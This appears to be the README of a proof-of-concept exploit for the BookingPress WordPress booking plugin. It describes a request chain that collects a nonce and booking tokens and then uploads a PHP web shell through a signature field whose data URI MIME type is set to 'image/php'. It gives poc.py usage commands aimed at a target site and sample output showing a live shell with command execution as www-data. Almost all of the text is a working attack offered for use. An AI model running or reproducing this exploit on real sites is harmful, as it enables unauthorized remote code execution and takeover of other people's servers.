1. GET  /booking-page/
     └─ Extract _wpnonce from page source

2. POST /wp-admin/admin-ajax.php  action=bookingpress_fetch_timeslot_data
     └─ Obtain server-side timeslot transient key

3. POST /wp-admin/admin-ajax.php  action=bookingpress_pre_booking_verify_details
     └─ Obtain pre-booking verification token

4. POST /wp-admin/admin-ajax.php  action=bookingpress_book_appointment_booking
     └─ bookingpress_signature_field = "data:image/php;base64,<shell>"
     └─ Plugin extracts "php" from MIME type → file_put_contents("shell.php", ...)

5. GET  /wp-content/uploads/bookingpress/shell.php?cmd=id
     └─ RCE confirmed

data:image/{ext};base64,{base64_encoded_content}

pip install requests

# Basic — booking form on homepage, service ID 1
python3 poc.py -u https://target.com

# Booking form on a specific page
python3 poc.py -u https://target.com --booking-page /appointments/

# Custom service ID and shell filename
python3 poc.py -u https://target.com -s 3 -f evil.php

# Skip SSL verification
python3 poc.py -u https://target.com --no-verify

[!] PRECONDITION: This exploit requires a signature-type custom field
    to be configured in the BookingPress booking form by the site admin.

[*] Step 1/3 — Fetching _wpnonce from: https://target.com/appointments/
[+] _wpnonce found: 9f1c3a72bd

[*] Step 2/3 — Fetching timeslot transient...
[+] Timeslot transient: bp_ts_a1b2c3d4

[*] Step 3/3 — Fetching pre-booking verification token...
[+] Verification token: bp_vt_e5f6g7h8

[*] Uploading shell via data URI method...
[*] Extension injected into MIME type: image/php
[+] Upload response (HTTP 200): {"success":true,...}

[✓] Shell is LIVE!
    Output of 'id': uid=33(www-data) gid=33(www-data)

[→] Shell access: https://target.com/wp-content/uploads/bookingpress/shell.php?cmd=<command>